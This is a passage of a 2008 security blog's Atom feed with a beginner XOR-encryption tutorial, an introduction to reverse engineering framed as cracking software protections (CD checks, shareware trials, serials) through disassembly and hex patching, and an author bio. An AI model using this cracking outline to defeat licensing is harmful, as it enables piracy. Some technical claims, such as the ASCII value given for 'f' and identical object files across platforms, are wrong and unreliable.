0&lt;/span&gt;&lt;/p&gt; &lt;p face="verdana" align="left"&gt;&lt;span style="font-size:85%;"&gt;0 XOR 0 = 0&lt;/span&gt;&lt;/p&gt; &lt;p face="verdana" align="left"&gt;&lt;span style="font-size:85%;"&gt;1 XOR 0 = 1&lt;/span&gt;&lt;/p&gt; &lt;p face="verdana" align="left"&gt;&lt;span style="font-size:85%;"&gt;0 XOR 1 = 1&lt;/span&gt;&lt;/p&gt; &lt;p face="verdana" align="left"&gt;&lt;span style="font-size:85%;"&gt;Well, I know what you might    be wondering... How can this be used in encryption??????? I'll show you how.&lt;/span&gt;&lt;/p&gt; &lt;p face="verdana" align="left"&gt;&lt;span style="font-size:85%;"&gt;Take a scientific calculator    in your hand. Alternatively, you may use the calculator which was provided to    you by Bill Gates. Goto scientific mode in VIEW. Now find out what 15 XOR 20    is.&lt;/span&gt;&lt;/p&gt; &lt;p style="font-family: verdana;" align="left"&gt;&lt;span style="font-size:85%;"&gt;Yes you got it right. It's    27. No big deal. Wait... now find out what 20 XOR 27 is.&lt;/span&gt;&lt;/p&gt; &lt;p style="font-family: verdana;" align="left"&gt;&lt;span style="font-size:85%;"&gt;Yes you are again right. The    correct answer is 15!!!!!!!! Hmmm... I can smell something fishy. Now can u    guess what is 15 XOR 27. You guessed it correct. It's 20.&lt;/span&gt;&lt;/p&gt; &lt;p style="font-family: verdana;" align="left"&gt;&lt;span style="font-size:85%;"&gt;In general if 'a XOR b = c'&lt;/span&gt;&lt;/p&gt; &lt;p style="font-family: verdana;" align="left"&gt;&lt;span style="font-size:85%;"&gt;then, 'b XOR c = a' and 'a    XOR c =b'&lt;/span&gt;&lt;/p&gt; &lt;p style="font-family: verdana;" align="left"&gt;&lt;span style="font-size:85%;"&gt;In encryption, we have to    choose a number, say 12. We call this a key number. Now take the data you want    to encrypt. Lets take fornix as an example. Now XOR each and every letter of    the word fornix with 12 . The resulting pattern will be encrypted. E.g. the    ASCII value of f is 66. when XOR ed with 12 it gives 78. In this way we'll get    a sequence of encrypted data. To decrypt, we again XOR the encrypted data one    by one with 12. &lt;/span&gt;&lt;/p&gt; &lt;span style=";font-family:Comic Sans MS;font-size:85%;"  &gt;Another common use of XOR    is to clear the registers. A number XORed with itself gives zero. Hence "XOR    eax, eax " command clears the eax register. It has nothing to do with encryption&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1567338316386950986-8060142710896927083?l=hacksafe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacksafe.blogspot.com/feeds/8060142710896927083/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1567338316386950986&amp;postID=8060142710896927083' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1567338316386950986/posts/default/8060142710896927083'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1567338316386950986/posts/default/8060142710896927083'/><link rel='alternate' type='text/html' href='http://hacksafe.blogspot.com/2008/08/uderstanding-xor-encryption.html' title='Understanding XOR Encryption'/><author><name>Nishant</name><uri>http://www.blogger.com/profile/17562587307055540092</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1567338316386950986.post-7709250382433785795</id><published>2008-07-10T13:33:00.000+05:30</published><updated>2008-08-11T16:58:25.152+05:30</updated><title type='text'>Introduction to Reverse Engineering</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:verdana;"&gt;Introduction:&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:verdana;"&gt;When I started Reverse Engineering, I remember that I had a tough time learning it. I didn't know where to start from. I had decided that I'll write an essay on this topic. That's before your eyes right now. This essay is intended to be read only by a newbie. OK lets begin...&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:verdana;"&gt;What is Reverse Engineering?&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:verdana;"&gt;Reverse Engineering is an art of removing protections from programs. It can be making a CD game to run without a CD, making shareware programs to run well beyond their evaluation time, finding correct serial code for programs, etc...&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:verdana;"&gt;Is Reverse Engineering legal?&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:verdana;"&gt;Yes, Reverse Engineering is perfectly legal, but using Reverse Engineered programs is not. Usually Reverse Engineers aren't interested in using the Reverse Engineered programs. The feeling that they have Reverse Engineered, is sufficient.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:verdana;"&gt;Requirements for Reverse Engineering:&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:verdana;"&gt;1: Brain (It's the most important thing!)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:verdana;"&gt;2: A good knowledge of Assembly Language (ASM - It's a lower level programming language). Relax, knowledge to read assembly language is sufficient. Programming in ASM is not essential. For learning ASM, I suggest that you go for the book "Art of Assembly Programming - Ranadll Hyde" &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:verdana;"&gt;3: A decent computer. By this, I mean at least a 486 machine with at least 32 megs of RAM and about 100 Mb of free hard disk space. No links for this one ; - )&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:verdana;"&gt;4: Reverse Engineering tools. More about them later. Go to links section of the site for the tools.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:verdana;"&gt;5: Knowledge of any higher level programming languages like C, C++, Pascal etc helps a lot though not compulsory.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:verdana;"&gt;Congratulations! You are set to be a Reverse Engineer:&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:verdana;"&gt;I'll explain to you the procedure of making a program. First, the programmer writes the source code of the program in any text editor. Then, this source code is compiled by means of a compiler. Compiler understands the programming language (e.g.. C, C++). During compilation, the compiler (Mind you, compiler is not a person but another program ; - )) translates the easily readable text into assembly language instructions (The same ASM) and an object file is created. But hey, your Computer is really stupid. It does not even understand ASM language as we see it (eg. mov ax, bx). All it understands is 0 and 1 ( 0 for off and 1 for on. Actually it's not 0 for 'off', but a small voltage for 0 and a relatively high voltage for 1). Thus writing machine code (0's and 1's) is very tough for human beings. It would have been a lot more convenient if the commands had names instead of codes. That's where ASM comes in. ASM uses mnemonics (like CMP for compare) instead of codes. Actually ASM and machine code are almost the same. Back to object file... The object file is linked by a linker to form a executable (.exe) file. Now you may ask, "What's the difference between an object file and an executable file?" Both of them contain the same ASM code but an object file cannot be executed. The linker adds some headers and sections to the object file so that it can run in a secified operation system. So one can conclude that the object file of a program written in C is same whether it is compiled by a windows based compiler or a linux based compiler. The only difference is in the final output file i.e executable file. The steps, i.e. from source code to object file and from object file to executable file is not reversible. As we don't get source code of programs along with shareware versions of it, things are tougher for us : - ( But there is ASM to our rescue! We can certainly disassemble executable files into ASM instructions by means of a disassembler. Did I say disassembler? That's one of the Reverse Engineering tools that really has some use :-) There are many disassemblers available. I suggest using W32dasm (It's Windows 32 bit disassembler). Where will I find it? Don't be an idiot, go to links section of the site.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:verdana;"&gt; Procedure of simple Reverse Engineering:&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:verdana;"&gt;1: Investigate the program to be Reverse Engineered completely. Note the occurrences of message boxes, text boxes, etc... depending upon the type of Reverse Engineer.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:verdana;"&gt;2: Disassemble the file in w32dasm and search the code for reaching the correct location. There are various methods of doing this. Note down the offset number (Just remember it as a number in memory corresponding to the particular instruction).&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:verdana;"&gt;3: Open your file in Hex editor and go to the noted offset number and patch it (i.e. change the code).&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:verdana;"&gt;Now what is an hex editor? It is a tool which helps us in changing the instructions, i.e. assembly codes. So, disassembler and hex editor goes hand in hand. There are many hex editors available. I would suggest using HEXWORKS 4.0  or hiew 6.7 (or higher versions). Hiew is better than HEXWORKS, but is a bit tough to use for beginners. You start with HEXWORKS, but upgrade to hiew soon. There is another mother of all Reverse Engineering tools called SoftIce, but you'll need to use it when you become comfortable with Reverse Engineering.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:verdana;"&gt;Outroduction:&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:verdana;"&gt;I haven't explained the process of Reverse Engineering. Tutorials for the same are available freely on the net. I don't expect that you will directly go and Reverse Engineer a program after reading this essay. My aim was to show you the right direction. It's you who have to follow it. Have you got an idea about Reverse Engineering? That's enough for now. The rest depends upon your interest and dedication in this subject. That's the purpose of providing you with links. Don't take these links lightly. It's difficult to find writings of this hardly understood subject on the net. &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1567338316386950986-7709250382433785795?l=hacksafe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacksafe.blogspot.com/feeds/7709250382433785795/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1567338316386950986&amp;postID=7709250382433785795' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1567338316386950986/posts/default/7709250382433785795'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1567338316386950986/posts/default/7709250382433785795'/><link rel='alternate' type='text/html' href='http://hacksafe.blogspot.com/2008/08/introduction-when-i-started-reverse.html' title='Introduction to Reverse Engineering'/><author><name>Nishant</name><uri>http://www.blogger.com/profile/17562587307055540092</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1567338316386950986.post-6529344782498003690</id><published>2008-07-08T19:59:00.000+05:30</published><updated>2008-08-11T17:12:09.072+05:30</updated><title type='text'>My Brief</title><content type='html'>&lt;div style="text-align: justify; font-family: verdana;"&gt;&lt;span style="font-size:85%;"&gt;Hello all! Welcome to my blog on security. I'm Nishant Das Patnaik. I'm a pre-final year Computer Science engineering student of Biju Patnaik University of Technology, Orissa. India . &lt;/span&gt;&lt;span style="font-size:85%;"&gt;I'm the Exec. Director, Innovate7 Technologies. Its an India based company works in the Web 2.0, Enterprise Infrastructure Security Audit, End-to-End Security Products Development. Me also fortunate enough to be the President, National Ethical Hackers Association. This year I have been appointed as a Microsoft Student Partner.&lt;/span&gt;&lt;span style="font-size:85%;"&gt; I will be posting interesting and practical guides to real-world security issues. Mostly my posts would be concentrating on Reverse Engineering, Web Application Security, Network Security &amp;amp; Applied Cryptography.&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1567338316386950986-6529344782498003690?l=hacksafe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacksafe.blogspot.com/feeds/6529344782498003690/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1567338316386950986&amp;postID=6529344782498003690' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1567338316386950986/posts/default/6529344782498003690'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1567338316386950986/posts/default/6529344782498003690'/><link rel='alternate' type='text/html' href='http://hacksafe.blogspot.com/2008/08/hello-all.html' title='My Brief'/><author><name>Nishant</name><uri>http://www.blogger.com/profile/17562587307055540092</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>
